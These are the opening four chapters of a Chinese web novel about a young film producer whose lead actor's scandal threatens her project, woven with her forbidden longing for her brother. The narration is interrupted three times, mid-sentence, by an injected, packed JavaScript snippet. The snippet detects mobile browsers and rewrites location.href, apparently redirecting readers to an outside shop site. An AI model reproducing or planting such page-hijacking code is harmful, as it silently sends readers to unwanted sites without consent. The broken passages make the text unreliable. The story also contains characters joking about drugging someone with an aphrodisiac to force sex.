《到月光对岸》 1. Chapter 01 《到月光对岸》 文/北途川 - 阴历腊月二十三,再有一周就是除夕。 三十年难遇的暴风雪肆虐多个城市,动车停运,高速路被封,交通普遍陷入瘫痪,放假的和被迫放假的都窝在家里,世界像是按了暂停键。 只是人一闲下来,不是找乐子就是被乐子找。 娱乐圈年底冲业绩似的,花样百出的塌房事件这几天都不带重样的,今天更是一刷七八条带爆的热搜条。 顶流林濯宁塌了个大的,去年因为恋爱加劈腿差点塌房,被公司摆平了,今年就“荣升”为法制咖了,聚众yin乱又滥用药物被举报逃跑的时候又开车撞人肇事逃逸,一连串的事件一个比一个炸裂。因为人设太好太正面,负面新闻堪称平地惊雷。 塌得轰轰烈烈万人唾骂,新闻从第一次出来所有人都觉得不可能,粉丝还在极力澄清,到现在才过去不到一周,今早手铐图流出来彻底定了性,塌房速度堪称一骑绝尘史无前例,嘴最硬的粉丝也不得不接受哥哥是个人渣这件事。 欢亚应该是目前最头疼的,公司两个S+剧的男主都是他,一个刚开拍一个月,一个马上就要上映,很不幸的,杜若枫是已经拍完的这部剧的制片人,这是她第一次担任制片人。 突然有些羡慕那部刚拍的,虽然也损失惨重,但好歹也算能及时止损,容易补救。 她的电话都要被打爆了,但她此时正坐在餐桌一边吃三明治,一边无动于衷看着,整个人抽离了一般,顾不上火烧眉毛,静音了手机,麻木地吃起瓜来,一边在脑海里计算损失,一边分神在记忆里搜寻这个身影。 俩人见面次数挺多的,拍戏演技差,但胜在实在美貌,性格也不错。 肩宽腿长九头身,硬件上几乎没有短板。 比她要小两岁,属于老天爷赏饭吃的一张脸,皮相骨相绝佳,上镜三百六十度无死角,第一次碰面,他弯腰跟她握手,温声客气地叫一声:“杜老师。” 虽然因为过于客气让杜若枫感到十分不自在,但毕竟礼多人不怪。 两个人似乎还聊了会儿,谈吐得体,她记得她对他第一印象其实还不错。 这么看来,人确实不可貌相。 她还记得那是她在A市的第五年,读完了四年大学,加入欢亚刚一年,经手的项目不多,但完整跟了两个项目完成的都不错,因为她拉投资有功,肖总破格任命她做《浮城》的制片人,肖总是个女性,大老板看不上女的,既看不上杜若枫,也看不上肖总,别说给予帮助,不给使绊子就不错了。 那会儿没人知道她是杜少霆的妹妹,没什么存在感。 她唯一硬气的一次就是这回,立下军令状,要在两个月以内拉到至少百分之七十的投资。 那会儿她其实看不上林濯宁,更期望找个演技好点的,但大老板存心搓磨,她又跟杜少霆较劲不愿意动用他一丁点人脉和钱,于是拉投资拉的很困难,投资方大佬力推,她也没有办法。 接触下来发现还不错,才稍微没那么抗拒。 毕竟很难事事圆满。 大学室友是林濯宁粉丝,问他人怎么样,她还说了好话,说私下没什么架子,能红到一定程度,确实有其独到之处。 粉丝偏爱,资本也偏爱,据说他家庭也不错,这样一个人,竟然最后走到这地步。 吃瓜看乐子是人类精神文明不可或缺的一部分,当然,如果那乐子不是她家男主就更好了。 杜若枫不断在心里默默盘算着:钱啊,都是钱啊,她的钱,就这么被大风刮走了。 虽然严格来说不是她的错,但显然是她职业生涯的重大挫折,如果不能好好解决,大概率自己是无缘更进一步了。 她这会儿本应该在A市开不完的会挨不完的骂,但这会儿她远在千里之外的家里。 肖总在替她扛雷,柳佳曦在负责转述战况。 全部戏份要换人重拍,投资方只能说暂时稳住了,因为大老板给的备用方案是找同咖位能力挽狂澜的男主,这很难办到,因为同咖位的不可能来接手这么个烂摊子,而且必然会陷入到比较当中。 杜若枫的恐惧和焦虑情绪大概早在父母去世那年已经透支干净了,即便是如此操蛋的现状,也提不起一丝情绪,甚至连怒骂都没有,脑袋里不停盘算应对之策,理智告诉她最好现在动身回A市,别说大雪封路,天上下刀子都得回去一趟。 但身体的每个细胞似乎都在挽留她。 好不容易空出来的二十天假期,这一年来她把自己的精力占满,好像就是在等这二十天。 不要。 大脑发出刺耳的警告。 手机里信息满天飞,每个人都处在高压状态,仿佛世界末日要来临了。 除了塌房还有许垚的桃色新闻,说是从走红到真正跻身一线,一直是靠着爬床才快速堆起来的资源。 不过那位出品方的女大佬确实有那个资本,消息撤得飞快。 圈内一些知情人也算不上知情,只模糊知道,这事儿是真的。 影后谈个恋爱被骂惨了,因为找了个比自己小十五岁的小男孩。 都凑在一起看,像个荒诞节目。 「许垚我暗示你那么多次,你竟然真的一点没察觉。」 「那个女大佬你还见过,人品很不怎么样,但能力确实强,所以不少男明星前仆后继。你家里人实在是把你保护得太好了,把这个世界想得太美好,娱乐圈就是个大烂坑。」 「唉,公司在开紧急会,讨论补救方案,因为你没来,有人在阴阳怪气。」 「你说我俩不会就这么收拾收拾卷铺盖回家吧。」 「男一敲定了两个最佳候选人,我觉得一个也争取不来,现在这处境多尴尬啊,但凡有点名气的,谁愿意顶替这么个角色,到时候还得跟法制咖拿出来比较,演得好不好都膈应。」 她的执行制片柳佳曦一条一条给她发着消息,大概也是气没招了,竟然乐呵呵吃起瓜来了。 杜若枫的太阳穴也突突直跳,一目十行看完,回复了最后一条:「哪两个?」 柳佳曦甩了两张百度百科过来。 周喆和钟奕明。 一个外形条件差点的演技派,一个老牌影帝半息影。 最重要的都是根正苗红有口皆碑的好演员,观众认可度高,能救一下局面。 更容易争取的是周喆,但…… 「杨导坚决反对前一个,理由是他外形条件和顶流哥那张脸差远了,但我觉得他是因为人家名字取得不吉利。」柳佳曦抢在她前面抱怨,「他真是我见过最迷信的导。」 周喆,周折。 杜若枫在这样剑拔弩张四面楚歌的情况下,竟莫名笑出了声。 「可是钟奕明的名气虽然没以前响亮,但咖位在那儿摆着,谁请得动啊。谁提的名可真敢想,老板也是昏了头了,竟然真的敢拍板,他还跟投资方说一定能拿下,他脸呢?他以为自己是天娱的老总杜少霆啊。」 杜少霆不仅是天娱的老总,还和钟奕明有点私交。 杜若枫乍一看见那个名字,吓了一跳。 心虚,无声回了个「。」 柳佳曦以为她也被无语到了,愤愤不平:「你说当老板当久了是不是自动变成大傻x,他说完就吩咐肖总务必拿下,傻叉,怎么不自己去请?他以为自己脸多大?」 柳佳曦已经气得想炸了公司这群神经病。 剧组的各种大群里一片寂静,私下的小群里吃瓜的吃瓜,痛骂的痛骂。 导演杨怀山是他大学的师兄,年纪不大,名气却已经不小,而且是投资方力推的导演,这会儿却像个刚入行的大学生,发了个上吊的表情包:「贵圈真乱。」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051938|194816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜若枫不合时宜地又笑一声。 最后是大老板,发号施令了一天,该追责追责,该补救补救,再大的项目崩了,天也不会塌下来,至少不能让人看出来天要塌下来。 「杜若枫你能干干不能干早点给我滚蛋,全公司都在群策群力,你人呢?」 那不然飞机停运她插根翅膀飞回去? 虽然开车不走高速,明早应该也能到,但她的确不想。 没话回,干脆头铁关了机。 她现在同意柳佳曦的话,他就是个大傻叉。 杜若枫觉得大概喜剧真的脱胎于悲剧,不然她今天怎么会无缘无故被逗笑再逗笑。 第一次担任总制片人就出这种事,柳佳曦实在心疼她,不敢再说丧气话火上浇油,转了话题聊点别的。 「你呢?不是说有很重要的事一定要我给你调二十天假,最近这么忙,你的活儿,我可都帮你顶下来了。你事儿办得怎么样?有没有把你那秤砣扑下。」 之前柳佳曦要给她介绍对象的时候她说过自己心里有人,柳佳曦说,那就拿下啊,她说拿不下,那都不是木头,就是块儿铁秤砣。 杜若枫失神片刻,抿直了唇,半晌才抬眸看一眼虚空,无声叹气。 「大概是……搞砸了。」 「怎么个搞砸法?表白被拒了?」 不应该啊,以杜若枫的条件,虽然不是人民币做不到人人都爱,但她但凡主动出击,能有几个拿不下的? 她更好奇了。 「怎么,对面是天仙吗?他在高傲什么。」 「。」杜若枫沉默无言。 其实她确实觉得他是天仙来的。 不然自己为什么,就是不甘心。 对面不满足于发消息,直接弹了视频过来,惊讶发现:“你怎么没在家?大过年的你竟然住外面,去哪儿鬼混了。” 杜若枫住在一栋公寓里,这还是她十八岁的生日礼,杜少霆送她的,其实本意是避嫌,想让她单独自己住,但杜若枫觉得实在可笑,明明他自己搬出去就可以解决的事,但非要她来做这个选择。 王八蛋一个。 “这就是我家。只是没住过而已,我的十八岁成人礼礼物。” 杜若枫在学校里非常低调,穿的都是款式简单看不出牌子的,很少用奢侈品,大学就有了代步车,但也就十来万,租住在学校附近的中高档公寓,虽然还不错,但在一个富二代遍地跑的专业,也就没什么显眼的。 所以柳佳曦还是狠狠吃惊了一下:“羡慕,我什么时候才买得起房呢。” 杜若枫还在犹豫,要不要告诉她自己是杜少霆妹妹这件事。 柳佳曦来公司很多年了,其实论资历和能力都比她要强很多,只是带着点理想主义的天真,总是被排挤打压,也是狠狠体验了一把郁郁不得志的感觉,但她从来没气馁过,依旧热情满满。 这项目最开始其实是她极力推进的,如果不是实在公司不看好她,她其实更想来做这个制片人。 但即便最后没有拿下,她依旧争取了执行制片人的身份来参与这个项目,给她这个刚毕业没多久的年轻人做副手。 杜若枫在她身上学到了很多东西。 听她这么说,突然觉得很不是滋味,这会儿比起心疼烧掉的钱,她其实更心疼柳佳曦。 她付出了全部的心血,还以为终于能有部代表作傍身了呢。 但这行业,竞争一向残酷,有时候人脉、资源、运气比所谓的实力要重要一百倍。 “佳曦,如果……我说我能联系上钟奕明呢?” 柳佳曦印象里的杜若枫一向是低调朴素没有架子,生活条件和她差不多,所以这会儿只当她失心疯,也随口胡扯一句:“那我还认识马化腾呢,我加过他□□,要不让他给我牵个线。” 杜若枫:“。” 2. Chapter 02 “这下兰婷婷更要得意得拿鼻孔看你了。” 大老板的亲妹妹,能力一般,但自信心膨胀,因为极力争取来做《浮城》的制片人被否了之后,得知敲定的制片人是个刚毕业的小丫头,就看她很不顺眼,仗着股东的身份没少挑她刺。 杜若枫:“。” 她其实不是很在意她怎么对自己,因为伤害不到她,她去欢亚多少带点自讨苦吃的心态,过得顺心如意反而会让她觉得无聊。 但她比较在意兰婷婷跟杜少霆传过绯闻这件事。 不爽,任何靠近杜少霆的人,不管有没有真的靠近,但凡有这种想法都让她不爽。 兰婷婷是演员转幕后,她做演员的时候就非常敢想敢干,比如蹭红毯,假摔,走秀故意漏光……事迹感人。 某次品牌晚宴,她装醉把手包塞进了杜少霆手里,虽然下一秒就被保镖拿走了,但还是被抓拍到了。显然是场精心安排的戏。 那是……去年年底了,她正在家里看电影吃薯片,因为当着他面看尺度比较大的电影把他气去的晚宴,于是他也回赠她“礼物”,那个新闻他根本没处理,任由兰婷婷发酵了三天,还是杜若枫自己受不了找人给她安排了几个黑料,她洗黑料洗得费劲,自己消停了。 到最后似乎也没平下来,宣称要转幕后。 这会儿又听到这个名字,杜若枫皱了下眉。 “我靠,一分钟前的消息,她给大老板立了军令状,要拿下钟奕明,她今晚开车去衍城。她是疯了吗?不行还是让我把麻花腾的□□推给她吧。那可是钟奕明哎,他迄今为止捧了六座影帝了吧?天赋型选手,年纪轻轻就一把年纪实在是因为履历太丰富,其实半退圈的时候才堪堪三十岁,都觉得一座金矿还没开采就要封井了,谁承想人家家里真有矿啊,这辈子受过最大的挫折估计就是拍戏滚泥坑了。” 杜若枫看她还能开玩笑,也算心安了点。 她决定还是暂时对柳佳曦保密自己认识钟奕明这件事。 因为她确实不是很确定如果自己去联系钟奕明会不会吃闭门羹。 那老东西记仇得很。 而她最近是绝对不可能再搭理杜少霆一次的,更不可能去求他。 其实说起来杜少霆认识钟奕明还是因为她。 钟奕明比杜若枫大十岁,别看现在人模狗样的,小时候是个十足的问题少年,骑鬼火染头发,中学时候走朋克摇滚路线,再后来要做时尚弄潮儿,每天潮得人风湿都要犯了。 杜若枫本来就对这种人退避三舍,后来两次参加宴会,他不是踩她裙子就是撞翻她的酒杯,说对不起的时候还鼻孔朝天,她就更讨厌他了。 ——虽然钟奕明狡辩说他态度非常谦卑有礼貌只是长得拽他也没有办法。 钟奕明也也不怎么待见她,尤其后来跟杜少霆熟悉之后,觉得杜少霆惯她惯得毫无底线,而她是地主家的恶千金。 再后来两家生意往来频繁,私交也甚笃,杜若枫经常能见到他,每次都要互相翻对方白眼。 再再后来他年纪大了点,进军娱乐圈后审美终于正常了点,脾气也变好了不少,看她就像看小孩了,但出于某种恶趣味,没事就爱故意逗她,跟个缺德长辈一样以逗恼小孩取乐。 所以俩人还是不对付,杜若枫没少跟他吵架,她这人记起仇来十分的不依不饶爱翻旧账,哪怕他偶尔想要示好缓解关系她也不会买账。 总之是不会原谅他的。 钟奕明也拿她没辙,偶尔跟个小学生似的跟她互呛,俩人谁也不待见谁。 那会儿做生意,是杜家仰仗钟家,虽然谈不上得罪不得罪,但她这样不给面子,总归是不太好。 父母总觉得她还小,很少提这些,她也不会在意,每次都是杜少霆从中调解斡旋,因为从不追究她的对错,所以不管遇到什么事,他优先解决别人,哪怕是杜若枫借题发挥在先,杜少霆都会先去找钟奕明,或道歉,或赔礼,他什么都肯。 久而久之,他们俩人倒是熟悉了。 杜家原先搞房地产的,杜少霆上位后大力推动转型,进军娱乐业,一手创办了天娱,早些年钟奕明跟老东家解约的时候,他的经纪约是暂时挂在天娱的,所以钟奕明还算买杜少霆的账。 如果只是个普通的邀约,杜若枫去试试倒无妨,他再不待见她,公事上也不会怠慢。 可这种烂摊子,杜若枫就算舍得下脸面去求,人也未必理她。 他那个经纪人也是个硬茬子。 唉。可是又实在不忍心让这个项目打水漂,思索的片刻,因为她不接电话,大老板又在微信骂她,六十秒的语音条,她不点开都知道在说什么。 转文字大致扫了一眼,一会儿催她回去,一会儿催她去想办法见一下正好在衍城的钟奕明。 精神分裂一样。 如果她不是正好是杜少霆妹妹,她这会儿大概也会骂他一句大傻叉。 不过当老板的哪有纯傻叉,其实看这意思,估计是想放弃了,只是暂时稳住投资方然后去跟林濯宁的公司索赔,打算及时止损。 重拍的难度太高了。 让兰婷婷来衍城,估计也只是想打发她走让自己清净一下,自己妹妹那几斤几两,他估计还是清楚的。 这么大的丑闻,林濯宁身上的代言和项目加起来……恐怕也弥补不了多少损失。 只能看谁下手快了,去的晚了,估计毛都没有一根了。 思索片刻,又挨了无数骂,梁思悯打来电话的时候,她正好叹了一口气。 “不是吧闺蜜,我不就两天没来临幸你,你怎么愁肠百结起来了。想我了?” 杜若枫笑了下,简单解释两句,说:“挺新鲜的,长这么大没挨的骂,工作一年全听完了。”她给自己倒了杯咖啡,但喝了一口就觉得哪哪都不对,皱着眉放下了。 她一直觉得自己不是多挑剔的人,出去工作一年,才发现其实真的很挑,只是杜少霆把她喜好摸的太清楚,对她生活的辐射太全面太润物无声,以至于她只有在彻底脱离他的时候才会发现,原来她这么挑剔。 梁思悯“啧啧”两声:“这让你哥知道不得天凉王破?从小到大别说他舍不得骂你一句,我哥都评价他:在他这里,杜若枫有问题那都是别人的问题,杜若枫永远没有错,就算有错也全是杜少霆自己的错。你敢让他知道你所谓的工作就是在外面挨骂当孙子,我真的害怕他做出一些不可挽回的事。” 杜若枫:“……你好夸张。” “一点都不夸张,好吗?”但梁思悯懒得跟她贫了,“出来打牌,三缺一,那什么破老板啊不跟他干了,让你哥给你开个公司,或者干脆让你哥下位你坐他位置,让他给你打下手,我哥整天怕他猝死。你自己当老板,想投什么投什么,他不给你投就我给你投,我投不了就去威逼利诱梁思谌,再不济我去把季旸卖了养你。” 实在搞不明白梁思悯这种小学生是怎么当上老板的。 杜若枫:“行。” 但还是心情好了不少。 “不过还是算了,你们玩吧,我要去想办法绕过杜少霆去见一见钟奕明,虽然感觉他会逮着机会羞辱我,但这项目是我第一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051939|194816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独立完成的,意义还是不一样的。” 而且她在A市也没几个朋友,柳佳曦算一个,她想给她们一起并肩的日子一个圆满。 “钟奕明?不熟,这我跟路宁真帮不上你。” 毕竟圈子不同,就算真的能转几道关系联系上,对杜少霆这层关系来说都是舍近求远。 杜若枫都不想求杜少霆,别人更不考虑了。 甚至可能不如她自己面子大。 “不过要不你还是来一趟水云涧?今天方晨辰在呢,让她给你牵个线,上学时候没少帮她妹,要不是你,她妹都永远停留在十四岁了,是该投桃报李了。” 方晨辰是天娱的金牌经纪人,一手运作出来两个顶流,人脉相当广泛。 她跟钟奕明应该没啥交集,但非常巧合的,她手底下一个女艺人是钟奕明的前任,而据说钟奕明一直对人家念念不忘。 天娱的人就没有不认识杜若枫的,也没人不知道杜若枫在杜少霆那里的位置,但凡她开口,甚至比杜少霆开口都有用。 “不行吧,这关系求过去,这得缺大德了。” 梁思悯笑了好半天才说:“那就找你哥啊,还有比他更好使的人吗?你这跟随身带个外挂但不用有什么区别,暴殄天物。” 杜若枫深吸一口气,苦笑了一下:“我那天问他,真的不考虑一下我吗?他装没听见,然后四天没回家了。我这会儿去求他,他正好装无事发生,然后又端他那个哥哥架子,我不要。” 梁思悯嚼着冰块,突然顿住了,半晌冰的牙根疼才囫囵咽了,说:“你终于疯了?” 杜若枫反而笑了:“是啊,不然能怎么办,怎么叫醒一个装睡的人?” 梁思悯爱莫能助,只能给她加油:“不行干脆给他灌两斤椿药关房间里,看他是要死还是要你。” 她旁边路宁突然过来插一句:“不对,对付杜少霆,你不如给杜若枫灌,告诉他,要么睡,要么她挂。他不是很在意自己死活的,但你手指擦破点皮他都能痛苦三天。” 为什么所有人都知道他看重她,可偏偏想要疏远她的,也是他。 杜若枫又开始烦了,其实路宁说的对,她对他还是太仁慈。 但那的确是个好办法,可惜她比较贪心,既想要人,还想要人心甘情愿。 杜若枫其实只在外面住了一天,这会儿又气不过,凭什么如他意,他越想划清界限她就越要告诉他,咱俩到死都划不开。 所以她终于还是搬回了家住,特意挑晚上才回,心想她搬出去住他大概就回来了吧。他这人就这样,既不接受她,也放不下她,她真搬出去了,他又要担心这个担心那个操不完的心。 可杜少霆还是没回来。 真铁了心要躲她? 行。 她进了门,看到暗着的客厅,忍不住有些失落。她不死心,叫了声:“哥哥。” 没人应她。 “杜少霆。” 还是没人应。 真的不在。 怕她咬他吗?她是什么洪水猛兽吗? 她垮着一张脸,在心里骂他一万句,可到头来能做的还是卖惨。 她给家里一个司机打电话,说:“陈叔,我发烧了,家里的药我找不到,辛苦你买点退烧药送过来吧,我现在一点力气都没有,或许待会儿不行还要麻烦你送我去医院,我感觉头很晕。” 陈叔紧张地询问好几句,叮嘱她不要乱动,他马上过来。 然后杜若枫抬腕看了下表,在数离她两公里的陈叔和离她八公里的杜少霆,到底谁先赶过来。 3. Chapter 03 杜若枫掐着表等待,抽空回了几个电话,处理了几封邮件。 逃避不能解决问题,她也一向是个有始有终的人。 外面大暴雪,兰婷婷逞能要来衍城,沿途好几段高速路都封着,她带了两个保镖和一个助理外加一个司机出发走国道。 几个人运气还算好,赶上风雪停的几个小时,但临近衍城的时候突然出了事故,车子滑向坡道,甩出去几十米,好在附近是空地,只是陷进深沟里出不来,要找车去拖,叫了几个救援,要么看了说拉不出来,要么一听她位置就说过不去。 大老板打电话给她,语气态度都柔和了不少,知道她本地人,问她能不能想想办法救援一下。 杜若枫当然能,衍城没几个她联系不上的人。 甚至都不需要动用杜少霆。 尽管她很讨厌这个人,但还是不忍心暴雪天让人困在野外。 极端天气是会死人的。 她先问了梁思悯:“认不认识道路救援,这种极端天气情况下?” 梁思悯点了头:“认知一个探险队,兼职救援,应付这种天气比较专业,不过出场费很贵。” 一听就不是杜若枫自己要用,所以梁思悯特意提了费用。 杜若枫点点头:“没事,她付得起。” 梁思悯随即便帮她打了电话,杜若枫沟通好,账单发给兰婷婷,顺便截图发给大老板一份。 “谢了。”大老板看起来非常拉不下面子,但还算知道行情,这种情况下能有人愿意过去就不错了。 杜若枫心想,这时候知道有求于人,刚连环骂人的时候怎么不想着做人留一线日后好相见呢? 兰婷婷大概是还没被风雪吹透,骨头还很硬,看到账单说一句:“怎么这么贵?” 就差说一句:你是不是趁机宰我,就知道你不安好心。 老板已经替她付了,所以杜若枫懒得理她。 只是忍不住发散想,如果将来杜少霆真的给她找这么个嫂子,她会不会一口气喘不上来直接气死。 还不如给他灌点椿药,但那样的话,他会不会气死? 十二分零八秒。 门锁转动,杜若枫回过头,和杜少霆对上目光。 他只穿一件大衣,发丝略显凌乱,被玄关的灯照得像一尊古希腊雕像。 她突然又有点心疼。 杜少霆胸口微微起伏着,大概一路跑过来的,神色绷得很紧,但看到她其实屁事没有,脸色却没有变化,仿佛杜若枫可以对着他进行一万次狼来了的游戏。 好平静,情绪好稳定,他在她这里,好像从来没有脾气,可以被打,可以挨骂,可以凄风苦雨,可以刀山火海,甚至可以去死。 唯独接受不了被爱。 这么一想,杜若枫就红了眼眶。 有时候真的好恨他。 她掰着指头算一算,从成年开始,两个人在一起过的年,好像没有一次是特别自在的。 究其原因其实是因为自己一直跟他较劲吧。 其实他是个很称职的哥哥。 答应父母好好照顾她,就真的时时刻刻记得,从不懈怠半分。 哪怕是此时此刻,被她戏耍。 所以每年到过年的时候,她都不愿意太早回来住,有时候甚至想,干脆不回来好了。可谁也没法留谁自己过年,在这个世界上,他们就剩下彼此是最亲近的人了。 或许有一天他会结婚生子,可能她会离他远远的。 但现在,她不甘心就这么放过他。 可偶尔也会觉得,如果自己放过他,是不是他会幸福很多? 自己是不是个很坏的人…… 有时候也真想和他吵一架,打一架也行,要么在一起,要么彻底分离,谁也别折磨谁了。 可惜他们是从小一起长大的兄妹,是严丝合缝嵌在对方生命里的亲人,谁也没办法把谁彻底剥离。 她刚回来的时候只开了玄关灯,一边换鞋一边忍不住在心底生出一些冒犯的心思,比如如果他在这里,或许她会去牵他的手,抚摸他的脸,亲吻他的唇……她无时无刻不在想着把他惹恼。 她想到这些的时候,忍不住到抽一口气。 那种欲望和自我厌恶交织的感觉太过于熟悉,怎么会对自己哥哥生出这种心思?从青春期开始,她每天都这样唾弃自己。 现在她坐在客厅沙发这边,他站在那片光影里,她仿佛能看到那些虚构出来的幻影,其实连她自己无法想象,没有实感,所以连他真切站在那里,都像一个随时都会碎掉的幻梦。 “发烧了?”他明知道她装病,还是问一句,然后径直走过来,触摸她的额头,确定她真的一点事都没有,还是过去把药箱拿出来,搁在明面上,“下次不舒服来这里找。” 这里是她的家,她又怎么会不知道。 但他从来不会责怪她,哪怕明知道她错了。 她的目光就一直追着他的身影,不知道什么时候,他已经长得这么高了,肩膀宽得站在她面前能完全把她罩住,公司的人都很怕他,因为无论从为人处世还是单从体型神态,他都给人一种浓重的压迫感。 像那种长得很凶的大型犬,即便所有人告诉你它很乖,也不会有人在不熟悉的情况下靠近。发起火来更是很少有人招架得住。 外面人也的确都说他脾气很坏,睚眦必报,手腕强硬,做事没有底线也不留情面。 杜若枫每次听到,都觉得像在听陌生人。 她从来没见过他发火。 杜若枫也从来不怕他,甚至总是试图惹恼他,但他在她面前好像失去了愤怒的情绪,有时候她怀疑自己就是给他一巴掌他也会先问她手疼吗。 她的心理师说,情绪稳定才是最大的问题。 一个从不发火的人,那他靠什么发泄情绪呢? 杜若枫也想问,杜少霆你这么能忍,不怕给自己憋死吗? “杜少霆,我饿了。”她不喊哥,语气也硬邦邦的,带着几分赌气。 杜少霆什么也没说,顿了片刻,然后点头,熟练地摘表,脱外套,挽袖子进厨房。 家里没佣人,只有个随叫随到的阿姨以备不时之需,但因为杜若枫不喜欢家里有外人,很少过来。 从他们住到这里起,都是他下厨。 父母刚去世的时候,她们还住在老宅,将近六百平的三层别墅,又大又空,她总是半夜惊醒,对佣人的出现也一惊一乍。 于是杜少霆买了这套房子,户型小一点的平层,两百来平,尽可能地打通空间,做了超大客厅,以确保出了卧室,不管他在哪儿,她都能一眼看到,不会害怕。 但后来也成了枷锁,他逐渐察觉她心思以及意识到成年男女有别的时候,每次单独相处他都愁眉不展,经常半夜坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051940|194816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在阳台不停抽烟。 尽管知道大概率杜少霆早吩咐过,但杜若枫还是跟陈叔又说一句不用来了,然后踱步过去看他,靠在厨房门口,一句话也不说。 他身上穿着一件灰色衬衣,微微勾勒出肌肉,挽起的袖子露出一截肌肉紧实的小臂,青筋微微凸起。 其实看起来有点涩情,杜若枫觉得自己如果告诉他,他估计又要一消失好几天了。 怎么办呢? 好像没办法了。 那种绝望感让人生出由衷的挫败,她就那么看着他早就察觉到她的视线,但还是装得无动于衷。 “工作怎么样?还顺利吗。”他终于侧头,看她,表情十分平静。 杜若枫微微撇嘴,装什么装,他就差全方位监控她生活了,从她入职欢亚开始,他就把欢亚上上下下查了个底掉,这其实也是她执意要去A市上学的一部分原因,他对她的关注已经到了病态的地步,他从不干涉她,但会解决掉所有他认为的麻烦。 她记得最清楚的事就是上学时候班上有个男生表白,她拒绝了,没多久那男生就转学了,听说去了一所很不错的中英合资学校,读完直接去英国留学。 是件好事,但她总觉得奇怪。 后来查实,的确是杜少霆的手笔。 那会儿他刚进公司,远没有现在有能力有手段,也不过是个还没毕业的大学生,但做事已经很偏激极端。 那会儿杜若枫很担心,认为是父母去世亲戚的围剿和各种不体面的资源掠夺才导致他这么大的防备心,后来才发现,他只在她的事上这样。 于是她又担心是否是父母临终前给他的压力太大,他把承诺看得太重。 试图沟通过几次,他都只是点头,说:好,下次不会了。 但下次照旧,只是做的更隐蔽,更不被她察觉罢了。 后来她就去A市读书了,本意只是想让他轻松点,不要神经绷得那么紧,她不是个易碎的玻璃品,不需要被人放在真空气囊里保护。 可离开之后,发现反而是自己接受不了。 那时候总找借口卖惨,皱一皱眉他就连夜开车去见她,要什么给什么,从来没听到他说过一个不字。 所以很多时候杜若枫想,自己走到今天这一步,难道他就没有责任吗? “还好。”杜若枫以前跟他无话不说,最近也开始故意沉默了,这种微妙的较劲心态不知道有没有气到他,但却让她自己感觉到无望。 我们就这样了吗? 哥。 杜少霆看她什么都不说,也没有追问,只是蹙了下眉,把面端出去。 杜若枫就坐在小桌子上吃,看他起身,就浑身戒备:“你去哪儿?” 杜少霆几不可闻地叹了口气:“去洗澡。” 大概是怕了她了,强调一句,“我不走。” 别扭了一晚上的杜若枫,终于稍微顺心了那么点。 “嗯,那你早点休息,我同事要来衍城,我待会儿可能要出去一趟。” 杜少霆立马皱眉:“外面还在下雪,你不许去,叫阿森过去。” 阿森是他的保镖兼助理,跟了他很多年。 杜若枫抬头看他一眼,又垂下目光,笑的有点苦涩:“杜少霆,你管不了我一辈子,就别试图什么都揽身上。” 杜少霆原地僵住很久,然后才抬步离开,什么都没说。 4. Chapter 04 兰婷婷抵达衍城的时候已经凌晨了,他们出事的地方是片丘陵地带,连接大片旷野,前不着村后不着店,赶上狂风和暴雪,车子故障空调打不起来,困了几个小时都有点应激。 兰婷婷常年病态式减肥,身体弱得很,突发高烧,救援直接拉她进医院了,一个高个子保镖守着她,其余人都被安置进了酒店。 杜若枫一边电话沟通,一边拎着车钥匙出了门。 其实并不想管她死活,她只是单纯不高兴,想折腾一下自己。 无事可做,看看猴戏也不错。 她常开的车是一辆红色法拉利拉法,也是成年礼,因为是杜少霆送的,尽管那车她觉得死难开,也依旧每次都选择开它出街,衍城很多人都认识这辆车。 今天大暴雪,杜若枫挑了一辆底盘高的suv,还没进驾驶座,林森急匆匆赶来:“小姐,您去哪里,我送您过去。” 不知道在这边等多久了。 杜少霆也真够缺德的。 杜若枫看他一眼,没拒绝,钥匙递给他,上了车后座。 兰婷婷刚打了一阵退烧针,体温降了点,就开始闹腾,嫌弃公立医院条件不好,嫌弃病房太吵,从头到尾挑剔一遍后,闹着要去单人病房,医院床位紧张,但考虑她艺人的身份,还是给她安排了一间空双人间给她,但她还是不满意,追着保镖要人给她安排去私立医院。 保镖自己都浑身疲惫,强撑着精神安抚,最后实在没办法,打电话给她哥兰瑞平。 “兰总,您看……” 兰瑞平焦头烂额,接到电话劈头盖脸臭骂一顿,然后气沉丹田吼了句:“滚!” 保镖皱眉,低骂了声,索性走到走廊尽头的窗户边抽烟,爱踏马谁谁,不管了。 兰婷婷找不到人去闹护士,护士小姐姐柔声安抚她,她还是不依不饶,护士长过来严肃说了几句:“这位女士请你保持安静,这里是医院,你再这样我们叫保安了。” “你什么态度?”兰婷婷的声音又尖又细。 